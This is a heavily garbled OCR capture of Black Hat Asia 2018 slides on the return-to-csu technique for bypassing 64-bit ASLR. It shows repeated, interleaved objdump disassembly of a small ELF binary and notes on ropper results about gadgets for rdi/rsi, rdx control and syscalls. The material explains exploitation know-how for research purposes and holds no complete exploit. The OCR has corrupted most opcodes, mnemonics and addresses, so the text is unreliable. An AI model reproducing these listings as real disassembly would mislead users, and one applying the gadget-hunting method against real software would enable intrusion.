48 8b 05 25 0b 20 00 mov  0x200b25 (srip) ,brax # 200268 <_guon_start > 74 0c Je 543 <_do_global_dtors auxt0x23>
48 85 c0 szax, drax 48 8b 3d 3a 0a 20 00 mov  0x200a3a (irip) ,37di # 201008 <_dso_handle>
74 02 dea < inittoxiz> 8 0d f£ €€ ££ callg 4e0 <_cxa finalizeGplt>
£ do *amax 8 48 f£ €€ £ callg 520 <deregister_tn clones>
48 83 c4 08 5058, rop <6 05 31 0a 20 00 01 mob  $0x1,0x200a31 (3Tip) # 201010 <_muc_EWD_>
@ 5d P sxbp
e retq
Disassenbly of section .plt: of 1£ 80 00 00 00 00 nopl 00 (brax)
< repz retq
00000000000004d0 <.ple>: 66 0¢ 1£ 44 00 00 nopw  0x0 (brax,brax,1)
4do: ££ 35 £2 0a 20 00 pushq  0x200a£2 (szip) # 200£c8 <_GLOBAL OFFSET_TABLE +0x8>
4de: ££ 25 £4 0a 20 00 mpq  *0x200afd (3rip) ¥ 200£40 <_GLOBAL OFFSET_TABLE_+0x10> 00000000000005£0 <Exmma chammay>-
adc: Of 1f 40 00 nopl  0x0 (3zax) s0: 55 - push  sxbp
48 89 o5 mov  Srsp,srbp
Disassenbly of section .plt.got: = =
9 66 f£ £ ££ mpq 560 <register_tm clones>
0000000000000460 <_cxa_£inalizelplt>:
400: ££ 25 12 0520 0 Jmpq  *0x200012 (3rip) ¥ 20068 <_cxa_finalizelGLIBC 2.2.5> rJ
4e6: 66 90 xchg  sax,tax
Disassenbly of section .text:
00000000000004£0 <_star>:
450: 31 ed sabp, tebp
a2 49 89 a1 frx, 529 Y,
ag5: Se e
ag6: 48 89 a2 rsp, irdx
4£9: 48 83 o4 £0 SOXEEEEEEEEELELEERO, Srop ORI <L e e
4ed: srax 60: ars7 push  %rls
fo: 54 sesp 612: a1 56 push  8r14
afe: 4c 8 05 7a 01 00 00 Ox17a (sxip) , 3x8 ¥ 680 <_libc_csu_fini> aYoote B S
506: 48 8a 0d 03 01 00 00 0x103 (sxip) , drex # 610 < libc csa init> payss e =p
50d: 48 8d 3d e6 00 00 00 Oxe§ (brip) brdi ¥ Sfa <nain> e e
S514: ££ 15 c6 0a 20 00 +0x200ac6 (Sxip) # 200£0 <_1libo_start_maindGLIEC 2.2.5> 4o 84 25 ca 07 20 00 B Ca007em(veip) Ami2 0 A Q@ G s ey
sta. 55 push  sxbp
Sib: 0 1€ 44 00 00 00 (3rax, 3rax, 1) 48 84 24 co 07 20 00 Tea  0x2007ce(srip) srbp ¥ 200d£8 <_init_array_enc>
53 push  fxbx
0000000000000520 <deregister_tn_clones>: FoLootre e
520: 48 8d 3d e9 0a 20 00 lea  0x200aed (3rip) brdi # 201010 <_muc_END_> et = e
55 push 8z o5 sub  ari2,azp
48 8a 05 e1 0a 20 00 lea  Ox200mel (brip) brax # 201010 <_muc_END_> BBom = e
48 39 £8 cmp  wrdi, i 48 c1£a0 sax 3,5
48 89 o5 mov  srsp,Sxbp 8 77 te ££ ££ callg 48 < init>
74 19 Je 550 <deregister_tm clones+0x30> Do = o
48 8b 05 9a 0a 20 00 mov  0x200ada(srip) Frax ¥ 200£48 <_ITH_ deregisterTiCloneTable> 5 Gh Pememanas
85 o0 test  irax,irax e e
74 04 jJe 550 <deregister_tm clones+0x30> of 1£ 84 00 00 00 00 nopl  0x0(brax,brax,1)
s pop  sx 0
£ 00 mpq  *irax 4c 89 ea mov  8r13,%rdx
66 20 0f 1f 84 00 00 nopw %es:0x0 (3rax, trax, 1) etostes = Saen
00 00 00 5
pop  sxbp 41 £ 14 ac callg *(sr12,5:bx,8)
<3 retq 48 83 c3 01 add  $0x1,arbx
of 1£ 40 00 nopl  0x0(3zax) B = Ees
66 26 0f 1f 84 00 00 nopw 5cs:0x0 (3rax, Srax, 1) 75 ea ne 650 <_libc csu_init+0xd0>
00 00 00 48 83 c4 08 aad  50x8,Tzsp
» pop  fxbx
0000000000000560 <register_tn clones>: & e
560: 48 8 3d a9 0a 20 0 0x200aa9 (szip)  xdi # 201010 <_muc_END_> g e
48 8a 35 a2 0a 20 00 0x200aa2 (3zip) , Sxsi # 201010 <_muc BN _> o ER el
s sxbp a1 se pop  8xl4
48 29 £ drdi drst aYse 2 =5
48 89 o5 sesp,izbp S Exa
48 c1 fe 03 $0x3,5rsi. % ron
48 89 £0 sosi, szax 66 26 0f 1£ 84 00 00 nopw  ics:0x0 (srax,rax, 1)
18 c1 o8 3¢ $0x3¢, Srax /0000
48 01 c6 frax,frsi
8 a1 fo st 0000000000000680 <_1ibe_csu_fini>:
74 18 520 <register_tn_clones+0xd0> OIS A
48 8b 05 61 0a 20 00 0x200a61 (szip)  S7ax ¥ 200££0 <_ITH registerTMCloneTable;
8 85 co test  wrax,irax Disassenbly of section .fini:
74 0c Je  5a0 <register_tm clonest0xd0>
s pop s 0000000000000684 <_£ini:
££ 00 npq  *irax 4: 48 83 ec 08 sub  $0x8,3xsp
66 0£ 1f 84 00 00 00 nopw  0x0 (trax, trax, 1) otetos B e
0 00 = retq
pop  sxbp
o3 retq
of 1£ 40 00 nopl  0x0(3zax)
66 26 0 1f 84 00 00 nopw ‘%cs:0x0 (3rax, trax, 1)
00 00 00




blackhat

ASIA SIS

1) “Attached code” RoP-chain analysis with popular tools

3. Return-to-csu: 64-bit ASLR bypas

empty:  file format elf64-xB6-64

Disassembly of section .init:
00000000000004b8 <_init>:
4b8: e

4bc: 48 8b 05 25 0b 20 00
4c3: 48 85 cO

4c6: 74 02
4c8: ££ do

4ca: 48 83 c4 08
dce: 3

Disassembly of section .plt:

00000000000004d0 <.pLt>:

4d0:  ££ 35 £2 0a 20 00
4d6:  ££ 25 £4 0a 20 00
4de: Of 1f a

Disassembly of section .plt.got:
00000000000004e0 <_cxa_finalizeGplt>:
4e0: ££ 25 12 0b 20 00

4e6:
Disassembly of section .text:
00000000000004£0 <_start>:

4£0: 31 ed

9 89 a1

54
4c 8d 05 7a 01 00 00
48 8d 0d 03 01 00 00
8 8d 3d e6 00 00 00
££ 15 c6 0a 20 00

sla.
S1b: Of 1f 44 00 00

0000000000000520 <deregister_tm_clones>:
520: 48 8d 3d e9 0a 20 00

55
48 8d 05 e1 0a 20 00
8 39 £8

74 19

48 8b 05 9a 0a 20 00
18 85 c0

74 0d
54

££ 00
66 2e OF 1f 84 00 00
00 00 00

0000000000000560 <register_tm_clones>:
560: 48 8d 3d a9 0a 20 00

48 8d 35 a2 0a 20 00

55

74 0c
sa

pushg

nopl

Attached Code only

$0x8,3:
0x200b25 (3rip) , brax # 200£e8 <_gmon

are_>
$0x8, 3rsp
0x200a£2 (3zip) ¥ 2

00£c8 <_G:
#0x200a£4 (3rip) # 200£40 <_GLOBAL ¥
0x0 (¥rax)

LOBAL OFFSET_TABLE_+0x8>
FFSET_TABLE_+0x10>

#0x200b12 (rip) # 200££8 <_cxa_finalize@GLIBC 2.
sax, 3ax

sebp, ebp.
srax, 3x9

szsp, rdx
SOXEEEFEEEEELELLLLD, drsp
srax

arsp
0x17a (srip) ,3x8 # 680 <_libc_csu_fini>

0x103 (srip) , 3rex # 610 <_libc csu_init>

Oxe6 (irip) ,Ardi ¥ Sfa <main>

#0x200ac6 (rip) # 20060 <_libc_start main@GLIBC 2.2.5>

0x0 (3rax, srax, 1)

0x200a09 (s7ip) , $rdi # 201010 <_mec_END_>

ax)

0x200ae1 (srip) , brax # 201010 <_mec_END_>
i, 5z

szsp, zbp

550 <deregister_tm_clones+0x30>

0x200a9a (srip) , rax # 200£48 <_ITM_deregisterTiCloneTable>

srax, srax

550 <deregister_tm_clones+0x30>

e

*arax
Scs:0x0 (3rax, trax, 1)
arbp

0x0 (¥xax)
Scs:0x0 (3rax, rax, 1)

0x200aa9 (s7ip) , $rdi # 201010 <_mec_END_>
0x200aa2 (7ip) , brsi # 201010 <_muc_END_>
arbp

rdi, drsi

%rsp, rbp

$0x3,8rs1.

trsi,trax

$0x3¢£, Srax

trax, trsi

5a0 <register_tm_clones+0xd0>

0x200a61 (srip) , brax # 200££0 <_ITH_registerTMCloneTable:
srax, srax

5a0 <register_tm_clones+0xd0>

e

0x0 (¥xax, trax, 1)
axbp

0x0 (¥rax)
Scs:0x0 (3rax, rax, 1)

00000000000005b0 <_do_global_dtors_auwx>:
550: 80 3d 59 0a 20 G0 00

0a 20 00

0a 20 00

20 00 01

500: e3
Sel: Of 1f 80 00 00 00 00
Sef

Sea: 66 0f 1f 44 00 00

00000000000005£0 <Erame_dunmy>
5£0: 55

@9 66 £ ££ ££

)

0000000000000610 <_ 1ibe_csu_init>:
610: 41 57

612: 41 56

4c 8d 25 ce 07 20 00

55
48 8d 24 ce 07 20 00
53

0000000000000680 <_1ibe_csu_fini>:
680: £3 c3

Disassembly of section .fini:

0000000000000684 <_£ini:
4: 48 83 ec 08

5 83 c4 08

$0x0,0x200a59 (srip) # 201010 <_muc_EWD_>
ne  Se8 <_do_global_dtors_aut0x38>
cmpq  $0x0,0x200a37 (sx1p) # 20068 <_cxa_finalizelGLIBC 2.2.5>

push  rbp

#rsp, zbp
je 53 <_do_global_dtors_auxtOx23>
0x200a3a (rip) , $7di # 201008 <_dso_handle>

callg 520 <deregister_tm clones>
b $0x1,0x200a31 (srip) # 201010 <_moc_END_>
sxbp

retq
nopl  0x0(irax)
repz retq

opw  0x0(irax, srax,1)

push  rbp
mov  %rsp,srbp
pop @

bp
Jmpq 560 <register_tm clones>

Y

15
ar1a
%edi, 3r15d
13

12
0x2007ce (zip) , $r12 # 200£0 <_frame_dummy_init_array

0x2007ce (srip) , $xbp. # 200d£8 <_init_array_end>
arbx

666 <_libc_csu_init+0x56>
sebx, Tabx
0x0 (¥rax, $rax, 1)

13, srax
14, srsi

*(3r12, $xbx, 8)
$0x1, 3zbx
emp  %rbx,irbp
Jne 650 <_libc_csu init+0x40>
add  $0x8,irsp
rbx

Pop.
pop  rbp
pop  ri2
pop  r13
pop  irla
op  8rl1s
retq
nop

nopw  %cs:0x0(srax,trax,1)

repz retq

sub  $0x8,3rsp
add  $0x8,irsp
retq

ropper result

Found gadgets to fill rdi and rsi

But for arbitrary execution it still needs:
* write-what-where (params)

* rdx control (third argument)

e syscall/int 0x80 gadgets




blackhat

ASIA SIS

3. Return-to-csu: 64-bit ASLR bypass

1) “Attached code” RoP-chain analysis with popular tools

Attached Code only

empty:  file format elf64-xB6-64

Disassembly of section .init:

00000000000004b8 <_init>:
4b8: e sub 5083

4pc: 48 8b 05 25 0b 20 00 mov  0x200025 (srip) brax # 200268 <_gmon_start_>
4c3: 48 85 co0 pe
ice: 74 02 dca <_initrox1z>
ace: g€ do *izax
ica: 48 83 c4 08 $0x8, xsp
ce: o3
Disassenbly of section .plt:
00000000000004d0 <.p1t>:
4do: ££ 35 £2 0a 20 00 pushq 0x200a£2 (srip) # 200£cH <_GLOBAL OFFSET_TABLE_+0x8>
4d6: ££ 25 £4 0a 20 00 Jmpg  *0x200af4 (3rip) ¥ 200£40 <_GLOBAL OFFSET_TABLE +0x10>
adc: Of 1f 40 00 nopl  0x0 (3zax)
Disassenbly of section .plt.got:
0000000000000480 <_cxa_£inalizeaple>:
4e0: ££ 25 12 0520 00 Jmpq  *0x200b12(3rip) ¥ 20068 <_cxa_finalizeGGLIBC 2.2.5>
4e6: 66 90 xchg  sax,tax
Disassenbly of section .text:
00000000000004£0 <_star>:
450: 31 ed sabp, tebp
a2 49 89 a1 frx, 529
ag5: Se e
ag6: 48 89 o sesp, rdx
4£9: 48 83 o4 £0 Soxeeeeseseeeereeo, trsp
aga: frax
age: 54 sesp
afe: 4c 8 05 7a 01 00 00 Ox17a (sx1p) , 58 # 680 <_libc_csu_fini>
506: 48 8a 0d 03 01 00 00 0x103(szip) , srcx # 610 <_libc csu_init>
50d: 48 8d 3d e6 00 00 00 Oxe§ (brip) brdi # 5ea <nain>
S514: ££ 15 c6 0a 20 00 +0x200ac6 (+xip) # 200£60 <_1libo_start_maindGLIEC 2.2.5>
s1a.
S1b: Of 1€ 44 00 00 0x0 (3rax, #rax, 1)
0000000000000520 <deregister_tn_clones>:
520: 48 8d 3d e9 0a 20 00 lea  0x200ae9 (irip) brdi # 201010 <_muc END_>
55 push %z
48 8a 05 e1 0a 20 00 lea  0x200ael(rip) brax # 201010 <_muc END_>
4839 £ cp  sxdi, i
48 89 o5 mov  tesp,isbp
74 19 Je 550 <deregister_tm clones+0x30>
48 8b 05 9a 0a 20 00 mov  0x200a9 (srip) Frax ¥ 200£48 <_ITH_deregistermiCloneTable>
48 85 o0 test  irax,irax
74 0a Je 550 <deregister_tm clones+0x30>
51 pop  am
£ 00 Jmpq  *irax
66 20 0f 1f 84 00 00 nopw %es:0x0 (3rax, trax, 1)
00 00 00
54 pop  sxbp
o3 retq
of 1£ 40 00 nopl  0x0(3zax)
66 26 0f 1f 84 00 00 nopw %es:0x0 (3rax, trax, 1)
00 00 00
0000000000000560 <register_tn clones>:
560: 48 8 3d a9 0a 20 0 0x200aa8 (srip) , trdi # 201010 <_muc END_>
48 8a 35 a2 0a 20 00 0x200aa2 (srip) , trsi # 201010 <_muc END_>
55 sxbp
48 29 £ drdi drst
48 89 o5 sesp,izbp
48 c1 fe 03 $0x3,rsi.
48 89 £0 fesi,rax
48 c1 o8 3¢ $0x3£, srax
48 01 c6 frax,frsi
a1 fe a1
74 18 520 <register_tn_clones+0xd0>
48 8b 05 61 0a 20 00 mov  0x200a61 (brip) , trax # 200££0 <_ITH_registerTMCloneTable;
48 85 o0 test  irax,irax
74 0c Je  5a0 <register_tm clonest0xd0>
sa pop  %m
£ a0 Smpq  *erax
66 0£ 1f 84 00 00 00 nopw  0x0 (trax, trax, 1)
00 00
pop  sxbp
o3 retq
of 1£ 40 00 nopl  0x0(3zax)
66 26 0 1f 84 00 00 nopw ‘%cs:0x0 (3rax, trax, 1)
00 00 00

00000000000005b0 <_do_global_dtors_auwx>:
550: 80 3d 59 0a 20 G0 00

0a 20 00

0a 20 00

20 00 01

500: e3
Sel: Of 1f 80 00 00 00 00
Sef

Sea: 66 0f 1f 44 00 00

00000000000005£0 <Erame_dunmy>
5£0: 55

@9 66 £ ££ ££

)

0000000000000610 <_ 1ibe_csu_init>:
610: 41 57

612: 41 56

4c 8d 25 ce 07 20 00

55
48 8d 24 ce 07 20 00
53

0000000000000680 <_1ibe_csu_fini>:
680: £3 c3

Disassembly of section .fini:

0000000000000684 <_£ini:
4: 48 83 ec 08

5 83 c4 08

$0x0,0x200a59 (srip) # 201010 <_muc_EWD_>
ne  Se8 <_do_global_dtors_aut0x38>
cmpq  $0x0,0x200a37 (sx1p) # 20068 <_cxa_finalizelGLIBC 2.2.5>
push  brbp
mov  trsp,irbp
Je 543 <_do_global_dtors auxt0x23>

0x200a3a (Frip) 7 # 201008 <_dso_handle>

callg 520 <deregister_tm clones>
b $0x1,0x200a31 (srip) # 201010 <_moc_END_>
sxbp

retq
nopl  0x0(irax)
repz retq

opw  0x0(irax, srax,1)

push  rbp
mov  %rsp,srbp
pop  rbp

Jmpq 560 <register_tm clones>

Y

15
ar1a

%edi, 3r15d

13

12

0x2007ce (zip) , $r12 # 200£0 <_frame_dummy_init_array

0x2007ce (srip) , $xbp. # 200d£8 <_init_array_end>
arbx

666 <_libc_csu_init+0x56>
sebx, Tabx

0x0 (¥rax, $rax, 1)

13, srax

14, srsi

*(3r12, $xbx, 8)
$0x1, 3zbx
emp  %rbx,irbp
Jne 650 <_libc_csu init+0x40>
add  $0x8,irsp
rbx

Pop.
pop  rbp
pop  ri2
pop  r13
pop  irla
op  8rl1s
retq
nop

nopw  %cs:0x0(srax,trax,1)

repz retq

sub  $0x8,3rsp
add  $0x8,irsp
retq

Found g
But for arbitra

ropper result

ets to fill rdi rsi
on it still needs:

write-wh re (params)




black hat 3. Return-to-csu: 64-bit ASLR bypass
ASIA SIS

1) “Attached code” RoP-chain analysis with popular tools

ropper result

rsi
on it still needs:

Attached Code [SIRR Found gadgets to fill rdi
et st T But fOI" arbitra

$0%0,0x200a59 (4xip) # 201010 <_TuC_END_>

jne 58 <_do_global_dtors_auxt0x38>
Disassembly of section .init:

0a 20 00 cmpq  $0x0,0%200a37 (szip) § 200££8 <_cxa_finalizeQGLIBC 2.2.5> g
S e e ° write—-w h re p arams
e - 2 &2
4c3: 48 85 0 test  trax,irax 0a 20 00 mov  0x200a3a(irip) ,irdi # 201008 <_dso_handle>
4c6: 74 02 e dca <_init+0x12> ££ callg 4e0 <_cxa_finalizefplt>
4c8: £f dO callq *$rax £f callg 520 <deregister_tm clones>
ca: 48 83 o4 08 ada  $0x8 szep 20 00 01 movb $0x1, 05200031 (47ip) # 201010 <_me_Ew_> [
=¥ = =0
ad6: £ 25 £4 0a 20 00 Smpq  *0x200atd (srip) ¥ 200£d0 < GLOBAL_OFFSET_TABLE, +0x10> REETIER < sy o
4de:  Of 1f 40 00 nopl  0x0(%rax) 5 55 - push  $rbp

0000000000000460 <_cxa_finalizeGplt>:
400:  ££ 25 1 o

e0: 2 0520 o smpq *0x200b12(vrip) # 200628 <_cxa_finalizetGLIne 2.2.5> ) \
“e6: 66 %0 xchg  tax,sax
e
0000000000040 <_start>:
450: 31 ed sabp, sebp
D wea ey
- 5 s
e
pre

89 o2 #rsp, drdx
8 83 o4 £0 SOXEEELELEEEEEEELLD, Srsp 0000000000000610 <_ 1ibe_csu_init>-
== 610: 41 57

8;
o 1 push  r15
= 612: 41 56 push  irld o
0x17a (srip) ,3x8 # 680 <_libc_csu_fini> Gh mopm T hedl anisd
61 13

4
st

54
4c 8d 05 7a 01 00 00

48 84 0d 03 01 00 00 0x103 (bxip) , brex # 610 <_libe csn_init> s ity
48 84 3d @6 00 00 00 Oxe6 (3rip) , brdi ¥ 5a <nain> @ s ush 12
£ 15 o6 0a 20 00 +0x200ac6 (bxip) 4 20000 <_1ibe_start maindGLIBC 2.2.5> 4c 84 25 ca 07 20 00 Tea  Ox2007ce (srip) sri2 # 200d£0 <_frame_dummy_init_arra
55 push sz
o 1£ 44 00 00 0x0 (srax, srax, 1) 48 84 24 ca 07 20 00 Tea  0x2007ce (srip) ,sxbp # 200a£6 <_init_array_enc>
53 push trbx
0000000000000520 <deregister_tn clones>: 85 56 ov  Araianie
520: 48 8 3d e9 0a 20 00 L ¥ 201010 <_mic_mw0_> Boa A axieeis o ' '
: : | B2 Found gadgets to fill rdi and rsi
48 84 05 a1 0a 20 00 Tea ¥ 201010 <_mic_mw0_> 83 ae 08 05 Goreo
48 39 0 cmp sciao sar Sox3s
48 89 o5 mov 8 77 fe £ ££ cally 4b8 < init>
7% 19 Jo 550 <de :_tn_clonas+0x30> afes o oo
48 6 05 9a 0a 20 00 mov  0x200aSa (sxip) , brax ¥ 200608 <_ITM_deregisterTiCloneTable> Jo 6604 Ith cew interonse
48 85 c0 test  %rax,irax 31 db Xor  %ebx iebx
74 0d je 550 <deregister tm clones+(x30> o 1£ 84 00 00 00 00 nopl  0x0(irax,trax,1) O
51 pop  ux 00
£ a0 Smpq  *azax 4c 89 ea mov  +r13,erdx *
66 2a 0F 1f 84 00 00 nopw  Scs:0x0 (srax, srax, 1) i 89 6 mov %14 srsi
00 00 00 8
pop  webp 41 £ 14 ac callg *(:r12,brbx,8) Y
@ 48 83 c3 01 add | $0xt, trbx ° N
£ = g owrite-what-where
66 2a 0F 1f 84 00 00 nopw  scs:10x0 (srax, srax, 1) 75 ea Sne 650 <_libc csu_initsoxdo>
00 00 00 48 83 o4 08 a1 soxa irsp
s pop  trbx
0000000000000560 <register_tn_clonas>: 54 pop  rbp
560: 48 6 3d a9 0a 20 00 0x2008a8 (srip) , sxdi ¥ 201010 <_mic_mw0_> o Lo
48 5a 35 22 0a 20 00 Oxz00a82 (473 b7 ¥ 201010 < > a8 = 5 'y
55 sbp a1 50 pop e | ><
4 29 o srdi rst a1 st ST
4 89 a5 srsp, 1zbp o rotq
48 c1 e 03 $0x3, srei. = e
48 89 £0 srsi trax 676: 66 20 0f 1f 84 00 00 nopw  tes:0x0 (3rax, srax, 1) '
48 c1 a8 3t $0x3t, trax : 00 00 00
48 01 c6 Grax, irsi )
18 a1 fe sras 0000000000000680 <_1ibe_csu_fini>:
7% 10 520 <register_tn_cloness0xd0> Sa0 £3'e3 &0
48 8b 05 61 0a 20 00 mov  0x200a61 (sxip) , brax ¥ 200££0 <_ITM_ragisterTCloneTable>
18 85 co0 test  trax, srax Disassembly of section .fini:
7% 0c Jo  5a0 <register_tn clones+Oxd0>
4 pop  tx 0000000000000684 <_fini>:
£ a0 smpq  *arax 4: 4883 ec 08 s $0xa,srep
66 0f 1f 84 00 00 00 hopw  Ox0 (srax, rax, 1) 6 Db i
00 00 oot zotq
pop b
o ratq
of 1£ 40 00 nopl  0x0 (srax)

)
66 2e OF 1f 84 00 00 nopw  tcs:Ox0 (trax,irax,1)
00 00




black hat 3. Return-to-csu: 64-bit ASLR bypass
ASIA SIS

1) “Attached code” RoP-chain analysis with popular tools

ropper result

Attached Code [ HR Found gadgets to fill rdi rsi
———— But for arbitra on it still needs:

empty:  file format elf64-xB6-64
$0%0,0x200a59 (4xip) # 201010 <_muc_END_ >

75 2 ne  Se8 <_do_global_dtors_sux+0x38>
Disassembly of section .init: 48 83 3d 37 0a 20 00 cmpq  $0x0,0x200a37 ($zip) # 200££8 <_ cxa_finalize@GLIBC 2.2.5> '
00 PY
00000000000004b8 <_init>: 55 e w e — w
4bs: 48 83 ec 08 sub  $0x8,irsp Bow e | |
4be: 48 b 05 25 Ob 20 00 mov  0x200b25 (sxip) brax ¥ 200208 <_gmon_start_> he B L g e e
4c3: 48 85 cO test  %rax,irax 48 8b 3d 3a 0a 20 00 mov oxznoasmm) J4rdi # 201008 <_dso_handle>
4c6: 74 02 e dca <_init+0x12> o8 0d £f £f ££ callg 4e0 <_cxa_finalizeGplt>
4cB:  ££ dO callg *% o8 48 £f £f £f callg 520 <deregister_tm_clones>
dca: 48 83 o4 08 P <6 05 31 0a 20 00 01 movh $0x1,0x200831 (sTip) ¥ 201010 <_mic_mw0_> Y
ca: 3 retq = =0 S
o rotq
Disassembly of section .plt: 0f 1£ 80 00 00 00 00 nopl  0x0 (%rax)
< repz rtq
OWWWWWW‘dO <.plt>: 66 0f 1f 44 00 00 nopw  0x0(%rax,%rax,1)
0a 20 00 pushg 0x200a2 (sxip) + 200868 < Guomws orrser Tasiz o
P n 0 2000 oa’ omonattazip) 4200240 < GLOBAE, OFFSER TABLE 40x10> TR oD ey )
age: of 1t nopl  0x0 (s S X o e
4 89 a5 nor veep.n
Disassembly of section .plt.got: = B
9 66 £ £t £ Smpq 560 <ragister_tn clones>

0000000000000460 <_cxa_finalizeGplt>:

400: ££ 25 12 0b 20 00 Jmpq  *0x200012 (3rip) ¥ 200££8 <_cxa_finalizefGLIBC 2.2. \
406: 66 90 xchg  Sax,sax
Disassenbly of section .text:
0000000000000420 < start>:
31 ed Sabp, Sebp

P msa frdx, 559

: srsi

>

#rsp, drdx
SOXEEEFEEEEELELLLLD, drsp 0000000000000610 <_ 1ibe_csu_init>:

= 612: 41 56 push  irld o
0x17a (srip) ,3x8 # 680 <_libc_csu_fini> Gh mopm e Aeal amisd
61 sr13 AN,

48 84 04 03 01 00 00 0x103 (sxip) , drex * 610 T 1ibc con inic> ass ey
84 3d e6 00 00 00 Oxe6 (3zip) ,rdi ¥ 5ta ke Taah  ari2 \
£ 15 2 oa 20 a0 +0x200ac6 (sxip) + 200500 < 11bc_start meintoutec2.2.5> do 8425 o 07 20 00 lea  0x2007ce (srip) Sri2 # 2004£0 <__ frame_dunmy_init_arra
push %z
O 1£ 44 00 00 0x0 (srax, Srax, 1) 54 24 co 07 20 00 lea  0x2007ce (brip) Srbp # 200a£8 <_init_array_end>
53 push  fxbx
0000000000000520 <seregister_tm clones>: 15 89 £6 mov  trsi,aria
8a 3d e9 0a 20 00 Lo Ox0Ones(rip) urdi # 201010 <_muc END_> G aotas ol =i
push o5 sub  an12)amp
“ 5405 e1 00 20 00 lea mun..umpy srax # 201010 <_muc END_> 46183 oo/08 Sb S0xB irsp
cnp 48 c1£a0 sar  Sox33
P S 8 77 fo ££ ££ callg 4be <_init>
74 19 Je 550 <deregister_tm clones+0x30> %0 85 test irbp3
48 8b 05 9a 0a 20 00 mov  0x200a9a(irip) ,irax ¥ 200£48 <_ITH_deregistermiCloneTable> Ja 666 <. libc cen inits0xse>
48 85 o0 test  irax,irax 31 xor  tebxgex -
je 550 <deregister tm clones+(x30> of 1£ 84 00 00 00 00 nopl  0x0(irax,trax,1)
pop s 0
£ 00 npq  *erax 4c 89 ea mov  8r13,%rdx
66 20 0f 1f 84 00 00 nopw  %es:0x0 (srax, trax, 1) 1c 89 £6 mov  %el4,trsi
00 00 00 4489 g5 mov
pop  wxbp 4 £f 14 e callg *(:r12,brbx,8) [
48 83 03 01 add | $0x1,srbx ) NO
40 00 nopl 00 (3zax) 4839 dd cmp  trbx,srbp W t > | e — W
66 26 0f 1f 84 00 00 nopw  %es:0x0 (rax, trax, 1) 75 ea Jne 650 <_libc csu_init+0xd0>
00 00 48 83 o4 08 aad  50x8,Tzsp
» pop  fxbx
0000000000000560 <ragistar_tm clonas>: s pop  wxbp
d 3d 29 0a 20 00 0x200aa8 (srip) , trdi # 201010 <_muc END_> @ se pop  %x12
45 0a 35 o3 oa 20 00 Cuadoasz(hri) st § 200010 <meme ) S8 B & °
55 sxbp a1 se pop  sxld ><
48 29 £ Srdi Srsi a1 se op  %xls
48 89 o5 Sxsp,xbp = retq
48 c1 fe 03 $0x3,rsi. 5 o
18 89 £0 sesi, rax 676: 66 2e 0 1f 84 00 00 nopw  ics:0x0 (srax,rax, 1)
48 c1 o8 3¢ $0x3£, srax : 00 00 00
48 01 c6 frax,frsi [ )
48 a1 fe sesi 0000000000000680 <_1ibe_csu_fini>:
74 18 520 <register_tn_clones+0xd0> a0 £3 3 o e
48 8b 05 61 0a 20 00 mov  0x200a61 (brip) , trax # 200££0 <_ITH_registerTMCloneTable>
48 85 c0 test  trax irax Disassenbly of section .fini:
74 0c Je  5a0 <register_tm clonest0xd0>
54 pop s 0000000000000684 < fini>:
£ a0 pq  *irax 684 48 83 ec 08 sub  $0x8,3xsp
66 0£ 1f 84 00 00 00 nopw  0x0 (trax, trax, 1) &y OE@m 20 Soxascap
00 00 6oc: 3 retq
pop  sxbp
a retq
of 1£ 40 00 nopl  0x0(3zax)
66 26 0 1f 84 00 00 nopw ‘%cs:0x0 (3rax, trax, 1)
00 00 00




blackhat 3. Return-to-csu: 64-bit ASLR bypass

ASIA 2018

1) “Attached code” RoP-chain analysis with popular tools

ropper result

Found gadgets to fill rdi apl rsi

INSETO WL only

. . . .
But for arbitrary~execuson it still needs:
.
empty:  file format elf6d-x86-64 0000000000000550 <_do_glabal_dtors_sux>:
Sb0: 80 3d 59 0a 20 00 00 50x0,0x20059 (szip) 4 201010 <_mc_m0_>
75 2 3ne " do_globaldtors_auxt0x38>
Disassembly of section .init: 48 83 3d 37 0a 20 00 empq  $0x0,0x200a37 ($rip) # 200££8 <_cxa_finalize@GLIBC 2.2.5> '
o0
EER e = = * write—-whs SEAS arams
4be: ec sub $0x8, % 48 89 e5 mov. #rsp, $rbp
48 8b 05 25 Ob 20 00 mov. 0x200b25 (3xip) ,brax # 200fe8 <_gmon_start_> 74 Oc je 5d3 <__do_global_dtors_aux+0x23>
48 85 c0 #rax, srax 48 8b 3d 3a 0a 20 00 0x200a3a (3rip) ,4rdi # 201008 <_dso_handle>
74 02 dca <_init+0x12> o8 0d £f £f ££ callg 4e0 <_cxa_finalizeGplt>
££ do *azax o8 48 £f £f £f callg 520 <deregister_tm_clones> .
48 83 o4 08 $0x8,xp <6 05 31 0a 20 00 01 $0x1,0x20031 (475p) # 201010 <_mc m0_> Y
: : = = ird argu
o rotq
Disassembly of section .plt: 0f 1£ 80 00 00 00 00 nopl  0x0(%rax)
e cepz retq
000000000000040 <.p1e>: 66 of 1 44 00 00 nopw  0x0 (brax, Srax, 1)
4d0: ££ 35 £2 0a 20 00 pushq  0x200af2 (3zip) # 200£c8 < GLOBAL OFFSET_1ABLE_40x8>
ad6: £ 25 £4 0a 20 00 Smpq *0x200at4 (srip) ¥ 200£d0 < GLOBAL OFFSET_TABLE 40x10> TR oD ey
4dc: of 1t 40 00 nopl  0x0(bzax) Seo: 55 X D e
89 a5 mov s, szbp
Disassambly of section .plt.got: = =
o9 66 £ £ £ 3mpq 560 <register_tn clones>
0000000000000400 <_cxa_finalizetpie>:
400: ££ 25 12 0520 00 smpq  *0x200b12 (srip) 4 200££8 <_cxa_finalizeeGLIBC 2.2.5> )
106 xchg  tax,sax
Disassambly of section .taxt:
00000000000004£0 <_start>:
450 31 ea Sabp, abp
ar2. 4985 a1 ardx,azs A
ars: 5 ara
ate: 48 89 o arsp, srdx
a£3: 48 83 o4 £0 Soxteeessesesseseo, srop ot LN
‘e == 610: 41 57 - 7 push  r15
ifo: 54 szsp 612: 41 56 push  irld
4€£: 4c 8d 05 7a 01 00 00 0x17a (srip) ,3x8 # 680 <_libc_csu_fini> ilaster e Aeal amisd
506: 48 8d 0d 03 01 00 00 0x103 (srip) , srex # 610 <_libc csu_init> b= paah  aris
50d: 48 8d 3d e6 00 00 00 0xe6 (3rip) ,trdi ¥ Sfa <main> & o Taah  ari2
S14: ££ 15 cs oa 20 00 +0x200ac (beip) 4 20000 <_1ibe_start maindGLIBC 2.2.5> B e D B Ermremam § 20040 <_srane, dunmy_init_arra
s 55 push  ixi
Stb: 0 1f 44 00 00 00 (3rax, irax, 1) 48 84 2 ce 07 20 00 Tea  0x2007ce(irip) bxbp ¥ 200d£8 <_init_array_enc>
s push  arbx
0000000000000520 <deregister_tn_clones>: ot B SR
